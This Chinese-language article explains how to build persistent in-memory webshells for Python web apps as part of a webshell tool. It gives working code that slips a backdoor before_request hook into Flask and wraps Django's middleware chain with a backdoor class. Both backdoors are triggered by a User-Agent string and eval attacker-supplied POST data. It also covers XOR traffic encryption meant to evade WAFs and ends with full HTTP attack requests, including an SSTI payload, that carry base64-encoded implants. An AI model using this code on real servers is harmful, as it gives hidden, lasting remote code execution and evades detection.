Python Webshell实现
实现分析
这里还是考虑常规的Server Loader模式,即两段式连接——注入Server Loader后调用Server Loader.
考虑到在Python Web框架存在较大差异,且无比较统一化的规范,因此Server Loader需要不依赖Request Context.
最终整体设计思路,Server Loader常驻于Python的对象池中,直到被显式删除或覆盖。
在Python程序运行过程中,注入的所有全局属性实际上只有:
['__name__', '__doc__', '__package__', '__loader__', '__spec__', '__builtins__'] 而在这里面能够通往全局(包括eval和exec),实际上只有__builtins__,其它的都不行。
__builtins__是模块builtins或者__builtin__的实际引用,这个模块对象在解释器启动时自动创建,并且为了方便开发者内置一些函数,实际上可以通过:
__builtins__.x = obj来将一个对象提升至全局可用的状态,那么这里的基本设计方案就敲定了。
通过__builtins__对象来保存Server Loader对象以及编码器对象,然后通过eval主动调用来完成shell功能。
但是需要注意在不同的web框架中,__builtins__可能是不同的类型,譬如在flask中为module,而在django中则成为了dict,因此还是需要再统一化。
前面提到的,__builtins__实际上模块builtins的一个引用,那么其实这样就可以不管在什么情境下都做到获取到一个module对象,所以最终注入Server Loader时,应该是这样的:
__import__("builtins").x = obj 请求体积膨胀
由于eval只能接受一句表达式,因此请求实际上只能使用base64编码对应的字节流数据,这会导致请求体积膨胀;唯一的解决方案是定制化payload从HTTP的表单中获取相关数据,但是通用性不高,暂且放弃。
eval与exec
在考虑内存马的时候,其实需要考虑一下eval和exec两者的差异,它们还是存在很大的区别:
| 方式 | 返回值 | 执行方式 | 限制 |
|---|---|---|---|
| eval | 表达式返回值 | 表达式 | 仅限表达式,import等语句将导致语法错误 |
| exec | None | 代码解析 | 无, 但无返回值 |
因此在注入的内存马里,只能考虑使用eval,无返回值的情况下,需要对每个框架做Payload适配,通用性极差;
但是使用eval只能执行一行表达式,这是一个需要注意的点。
动态流量加解密
在前面的设计中提到了eval实际只能执行表达式,考虑到需要注入的内存马应该是一句话木马,比如eval("""__import__('flask').request.get_data()""")。
这样的情况下,需要去做对应的数据解密是比较困难的,尽管可以通过__import__("base64").b64decode("")这种方式来对表达式进行解码解密,但是在实际请求中还是会出现对应的python代码,容易引发WAF规则。
流加密
在上面的情况下,就需要对请求体在eval时就解密,同时需要维持一句话木马的基础结构(即保持一句话)。
在Python中使用AES等相关加解密算法时,需要安装对应依赖,因此采用流式加密是比较好的选择。
流加密的安全性主要取决于密钥生成器与起始密钥;那么这里实际不需要太高的加密性能,实际上对于流量请求包也不会耗费大时间去分析。
选取的密钥为MD5(pass + key),选取的算法为XOR,组成一个加密流,但是这样的流实际上并不安全,并且易于分析。
假定Payload为__builtins__.x.get_info(),首先开头的__builtins__是一定存在的,而密钥也是固定的,所以加密后的流开头也一定是一样的。
这种情况相当于密钥生成器为常量,所以我们需要一个真正的动态的密钥生成器。
在密码学中,密钥主要用于随机生成器的初始化,使得双方的随机生成器产生一致的内容,但是在Python和Java中,需要做相关的适配,才能使得在同一个密钥的情况下产生一致的随机内容;
因此这里选择使用Counter与产量密钥结合组成为密钥生成器。
核心原理如下:
- 程序生成随机数CTR(0-255)
- 发送CTR(1字节数据)
- 密钥动态偏移CTR位(CTR处为起始密钥)
- 加密数据(流式加密)
- 发送数据(N字节数据)
在这种情况下,可以使得每个数据包的内容均被加密且无规律;解密过程则同理,取出第一位作为CTR后解密即可。
插件设计与实现
可以参考项目中已经集成的Python任意代码执行插件。
在Server Loader中已经考虑了插件的加载与执行,核心是通过exec的global param进行的参数传导。
加载插件和其他的Shell类型一致,通过include方法即可导入插件代码;
调用时请注意,在include时提供的className实际会成为methodName,也就是说调用时,className可以任意指定,但是methodName必须指定为include的className,示例如下:
shellEntity.getPayloadModule().include(PythonEval.NAME, functions.readInputStreamAutoClose(PythonEval.class.getResourceAsStream("assets/python_eval.py")));
shellEntity.getPayloadModule().evalFunc(null, PythonEval.NAME, reqParameter);对应的Python代码执行插件代码,注意,参数将在插件代码中提升为全局域变量,例如在示例的任意代码插件中:
if code is None:
resp = 'code not found'
else:
context = {'resp': None}
exec(code, context)
resp = context['resp']这里的code变量将自动传入,而resp变量会在脚本执行结束后自动取出返回。
Flask框架的注入
现在是最为核心的一点了;这里需要分成两个情况,即我们在代码审计中发现了一个exec或者一个eval可以控制,或者说有一个SSTI注入可以控制,应该如何注入。
首先,eval明显能够转换为exec,直接通过eval("exec(__import__('base64').b64decode('...'))")即可转换了;而对于模板注入,其实就要想办法获取到__builtins__,关于这个引用在上面其实已经解释过,这里就不过多解释了。
对于Flask而言,将请求直接断点在一个路由里,然后看看在哪里插入比较好;随机断点会发现Flask的调用栈非常干净:

这里的full_dispatch_request实际就是实际的web入口点处理函数了:
def full_dispatch_request(self) -> Response:
"""Dispatches the request and on top of that performs request
pre and postprocessing as well as HTTP exception catching and error handling.
.. versionadded:: 0.7 """ self._got_first_request = True
try:
request_started.send(self, _async_wrapper=self.ensure_sync)
rv = self.preprocess_request()
if rv is None:
rv = self.dispatch_request()
except Exception as e:
rv = self.handle_user_exception(e)
return self.finalize_request(rv)在这里其实可以发现在分发请求前有一个self.preprocess_request(),立即意识到这可能是一个类似于Java中的Filter一类的东西;
def preprocess_request(self) -> ft.ResponseReturnValue | None:
"""Called before the request is dispatched. Calls
:attr:`url_value_preprocessors` registered with the app and the
current blueprint (if any). Then calls :attr:`before_request_funcs`
registered with the app and the blueprint.
If any :meth:`before_request` handler returns a non-None value, the
value is handled as if it was the return value from the view, and
further request handling is stopped.
"""
names = (None, *reversed(request.blueprints))
for name in names:
if name in self.url_value_preprocessors:
for url_func in self.url_value_preprocessors[name]:
url_func(request.endpoint, request.view_args)
for name in names:
if name in self.before_request_funcs:
for before_func in self.before_request_funcs[name]:
rv = self.ensure_sync(before_func)()
if rv is not None:
return rv # type: ignore[no-any-return]
return None这里能看出来,names中必定存在一个None值,而这里self.before_request_funcs必然会遍历None的key值;因此可以考虑在此处进行添加。
参考这里的注入脚本可以实现为:
app = __import__("flask").current_app
cbrf = app.before_request_funcs[None]
is_injected = False
for brf in cbrf:
if brf.__name__ == "__kong__":
is_injected = True
break
def __kong__():
request = __import__("flask").request
if "Shell" in request.headers.get("User-Agent"):
if request.method == "POST":
return eval(__import__("flask").request.values.get("x")), 200
else:
return "OK", 200, [("X-Allowed-From", "Kong")]
return None
if not is_injected:
nbrf = [__kong__] + cbrf
app.before_request_funcs[None] = nbrf
执行这段代码就完成了Flask的内存马注入。
Django框架的注入
在web框架中添加内存马,最好是找一个都会经过的处理点,在Django中提供了Middleware这一概念,用于处理认证授权等相关事项。
Middleware加载分析
但是经过实际分析,会发现Django框架的Middleware并不能实现相关的需求;先从源码读起:
def load_middleware(self, is_async=False):
"""
Populate middleware lists from settings.MIDDLEWARE.
Must be called after the environment is fixed (see __call__ in
subclasses).
"""
self._view_middleware = []
self._template_response_middleware = []
self._exception_middleware = []
get_response = self._get_response_async if is_async else self._get_response
handler = convert_exception_to_response(get_response)
handler_is_async = is_async
for middleware_path in reversed(settings.MIDDLEWARE):
middleware = import_string(middleware_path)
middleware_can_sync = getattr(middleware, "sync_capable", True)
middleware_can_async = getattr(middleware, "async_capable", False)
if not middleware_can_sync and not middleware_can_async:
raise RuntimeError(
"Middleware %s must have at least one of "
"sync_capable/async_capable set to True." % middleware_path
)
elif not handler_is_async and middleware_can_sync:
middleware_is_async = False
else:
middleware_is_async = middleware_can_async
try:
# Adapt handler, if needed.
adapted_handler = self.adapt_method_mode(
middleware_is_async,
handler,
handler_is_async,
debug=settings.DEBUG,
name="middleware %s" % middleware_path,
)
mw_instance = middleware(adapted_handler)
except MiddlewareNotUsed as exc:
if settings.DEBUG:
if str(exc):
logger.debug("MiddlewareNotUsed(%r): %s", middleware_path, exc)
else:
logger.debug("MiddlewareNotUsed: %r", middleware_path)
continue
else:
handler = adapted_handler
if mw_instance is None:
raise ImproperlyConfigured(
"Middleware factory %s returned None." % middleware_path
)
if hasattr(mw_instance, "process_view"):
self._view_middleware.insert(
0,
self.adapt_method_mode(is_async, mw_instance.process_view),
)
if hasattr(mw_instance, "process_template_response"):
self._template_response_middleware.append(
self.adapt_method_mode(
is_async, mw_instance.process_template_response
),
)
if hasattr(mw_instance, "process_exception"):
# The exception-handling stack is still always synchronous for
# now, so adapt that way.
self._exception_middleware.append(
self.adapt_method_mode(False, mw_instance.process_exception),
)
handler = convert_exception_to_response(mw_instance)
handler_is_async = middleware_is_async
# Adapt the top of the stack, if needed.
handler = self.adapt_method_mode(is_async, handler, handler_is_async)
# We only assign to this when initialization is complete as it is used
# as a flag for initialization being complete.
self._middleware_chain = handler从代码中可以看出,其实这里的_middlware_chain和在我们想象的依次根据List执行不是一个东西,这里通过不断的包装使其成为了一个完整的Closure,而这个Closure在Django程序启动后就不变了,因此对它的修改其实是具备一定难度的(实际难度在于如何获取到_middleware_chain)。
动态获取Handler实例
接下来看看如何动态获取到Handler实例,考虑到场景的复杂情况,但是Django没有类似于Flask的current_app直接获取到当前的应用实例,这就需要我们思考如何在一个上下文隔离的环境中获取到对应的对象的实例。
首先如果对Python高级编程有所学习的人,应该知道gc.get_objects()将返回当前GC持有的所有对象引用,而GC是一个进程级的跟踪器,因此我们可以通过此方式获取到当前Python Context的所有对象;接下来就是如何筛选出Django框架的Handler实例了。
先简单筛选一下Handler:

显然这里的WSGIHandler就是我们寻找的那个Handler,那么最精确的获取方式[obj for obj in __import__("gc").get_objects() if "WSGIHandler" in obj.__class__.__name__ and "django.core.handlers.wsgi" in obj.__class__.__module__]。
动态添加Middleware
上面的Middleware加载分析已经提到过,这里的_middleware_chain实际是一个不断被包装的Closure,所以对于我们来说对其修改其实就非常简单了,直接创建一个新的Middleware然后再包装成为一个新的Closure就好了;上面的Handler对象获取成功后,再获取到_middleware_chain就是水到渠成了,注入代码如下:
handler_list = [obj for obj in __import__("gc").get_objects() if "WSGIHandler" in obj.__class__.__name__ and "django.core.handlers.wsgi" in obj.__class__.__module__]
class KongMiddleware:
def __init__(self, get_response):
self.get_response = get_response
def __call__(self, request):
if "Kong" in request.headers.get("User-Agent"):
if request.method == "GET":
response = __import__("django").http.HttpResponse('OK', status=200)
response['X-Allowed-From'] = 'Kong'
return response
elif request.method == "POST":
return __import__("django").http.HttpResponse(eval(request.POST.get('pass')), status=200)
return self.get_response(request)
if len(handler_list) == 1:
handler = handler_list[0]
current_middleware = handler._middleware_chain
if current_middleware.__class__.__name__ != "KongMiddleware":
kong_middleware = KongMiddleware(current_middleware)
handler._middleware_chain = kong_middleware
else:
kong_middleware = KongMiddleware(current_middleware.get_response)
handler._middleware_chain = kong_middleware这里需要注意如果已经注入过Middleware了,那么应该覆盖原先的Middleware而不是再套一层,这点是需要注意的。
注入测试
Flask框架
测试代码如下:
@app.route('/ssti', methods = ["POST", "GET"])
def ssti():
template = """<br>hello %s<br>""" % (request.values.get("name"))
return render_template_string(template)显然这存在SSTI漏洞,那么接下来考虑注入。
Python的SSTI注入已经烂大街了,从SSTI注入点到获取到eval或者exec的方式也比较简单,这里不赘述了;注入过程和前面说的基本也一致,通过exec执行代码注入即可:
POST /ssti HTTP/1.1
Host: 127.0.0.1:5002
sec-ch-ua: "Not(A:Brand";v="8", "Chromium";v="144"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 1041
name={{''.__class__.__base__.__subclasses__()[114].__init__.__globals__['__builtins__']['eval']('exec(__import__("base64").b64decode("YXBwID0gX19pbXBvcnRfXygiZmxhc2siKS5jdXJyZW50X2FwcAoKY2JyZiA9IGFwcC5iZWZvcmVfcmVxdWVzdF9mdW5jc1tOb25lXQppc19pbmplY3RlZCA9IEZhbHNlCmZvciBicmYgaW4gY2JyZjoKICAgIGlmIGJyZi5fX25hbWVfXyA9PSAiX19rb25nX18iOgogICAgICAgIGlzX2luamVjdGVkID0gVHJ1ZQogICAgICAgIGJyZWFrCgpkZWYgX19rb25nX18oKToKICAgIHJlcXVlc3QgPSBfX2ltcG9ydF9fKCJmbGFzayIpLnJlcXVlc3QKICAgIGlmICJTaGVsbCIgaW4gcmVxdWVzdC5oZWFkZXJzLmdldCgiVXNlci1BZ2VudCIpOgogICAgICAgIGlmIHJlcXVlc3QubWV0aG9kID09ICJQT1NUIjoKICAgICAgICAgICAgcmV0dXJuIGV2YWwoX19pbXBvcnRfXygiZmxhc2siKS5yZXF1ZXN0LnZhbHVlcy5nZXQoIngiKSksIDIwMAogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHJldHVybiAiT0siLCAyMDAsIFsoIlgtQWxsb3dlZC1Gcm9tIiwgIktvbmciKV0KICAgIHJldHVybiBOb25lCmlmIG5vdCBpc19pbmplY3RlZDoKICAgIG5icmYgPSBbX19rb25nX19dICsgY2JyZgogICAgYXBwLmJlZm9yZV9yZXF1ZXN0X2Z1bmNzW05vbmVdID0gbmJyZgo="))')}}注意这里的base64就是上面的Flask框架的注入里的注入代码;实测顺利连接:

Django框架
Django和Flask不太一样,Django的模板是存在沙盒的,因此Django产生SSTI的可能性极低,即便有SSTI也无法像Flask一样做到任意代码执行;所以这里还是通过直接使用eval来做一个任意代码执行进行测试。
def test(request):
return __import__("django").http.HttpResponse(eval(request.POST.get('pass')))
urlpatterns = [
path('admin/', admin.site.urls),
path('test', test),
]接下来尝试注入Middleware的内存马,直接使用上面的代码即可:
POST /test HTTP/1.1
Host: 127.0.0.1:8000
sec-ch-ua: "Not(A:Brand";v="8", "Chromium";v="144"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 1741
pass=exec(__import__("base64").b64decode("CgpoYW5kbGVyX2xpc3QgPSBbb2JqIGZvciBvYmogaW4gX19pbXBvcnRfXygiZ2MiKS5nZXRfb2JqZWN0cygpIGlmICJXU0dJSGFuZGxlciIgaW4gb2JqLl9fY2xhc3NfXy5fX25hbWVfXyBhbmQgImRqYW5nby5jb3JlLmhhbmRsZXJzLndzZ2kiIGluIG9iai5fX2NsYXNzX18uX19tb2R1bGVfX10KCmNsYXNzIEtvbmdNaWRkbGV3YXJlOgogICAgZGVmIF9faW5pdF9fKHNlbGYsIGdldF9yZXNwb25zZSk6CiAgICAgICAgc2VsZi5nZXRfcmVzcG9uc2UgPSBnZXRfcmVzcG9uc2UKICAgIGRlZiBfX2NhbGxfXyhzZWxmLCByZXF1ZXN0KToKICAgICAgICBwcmludCgiaW4gS29uZ01pZGRsZXdhcmUiKQogICAgICAgIGlmICJLb25nIiBpbiByZXF1ZXN0LmhlYWRlcnMuZ2V0KCJVc2VyLUFnZW50Iik6CiAgICAgICAgICAgIGlmIHJlcXVlc3QubWV0aG9kID09ICJHRVQiOgogICAgICAgICAgICAgICAgcmVzcG9uc2UgPSBfX2ltcG9ydF9fKCJkamFuZ28iKS5odHRwLkh0dHBSZXNwb25zZSgnT0snLCBzdGF0dXM9MjAwKQogICAgICAgICAgICAgICAgcmVzcG9uc2VbJ1gtQWxsb3dlZC1Gcm9tJ10gPSAnS29uZycKICAgICAgICAgICAgICAgIHJldHVybiByZXNwb25zZQogICAgICAgICAgICBlbGlmIHJlcXVlc3QubWV0aG9kID09ICJQT1NUIjoKICAgICAgICAgICAgICAgIHJldHVybiBfX2ltcG9ydF9fKCJkamFuZ28iKS5odHRwLkh0dHBSZXNwb25zZShldmFsKHJlcXVlc3QuUE9TVC5nZXQoJ3Bhc3MnKSksIHN0YXR1cz0yMDApCiAgICAgICAgcmV0dXJuIHNlbGYuZ2V0X3Jlc3BvbnNlKHJlcXVlc3QpCgppZiBsZW4oaGFuZGxlcl9saXN0KSA9PSAxOgogICAgcHJpbnQoIkZvdW5kIGhhbmRsZXIiKQogICAgaGFuZGxlciA9IGhhbmRsZXJfbGlzdFswXQogICAgY3VycmVudF9taWRkbGV3YXJlID0gaGFuZGxlci5fbWlkZGxld2FyZV9jaGFpbgogICAgaWYgY3VycmVudF9taWRkbGV3YXJlLl9fY2xhc3NfXy5fX25hbWVfXyAhPSAiS29uZ01pZGRsZXdhcmUiOgogICAgICAgIGtvbmdfbWlkZGxld2FyZSA9IEtvbmdNaWRkbGV3YXJlKGN1cnJlbnRfbWlkZGxld2FyZSkKICAgICAgICBoYW5kbGVyLl9taWRkbGV3YXJlX2NoYWluID0ga29uZ19taWRkbGV3YXJlCiAgICBlbHNlOgogICAgICAgIGtvbmdfbWlkZGxld2FyZSA9IEtvbmdNaWRkbGV3YXJlKGN1cnJlbnRfbWlkZGxld2FyZS5nZXRfcmVzcG9uc2UpCiAgICAgICAgaGFuZGxlci5fbWlkZGxld2FyZV9jaGFpbiA9IGtvbmdfbWlkZGxld2FyZQpwcmludCgiSW5qZWN0IGRvbmUiKQ==")) or 'OK'成功注入连接:
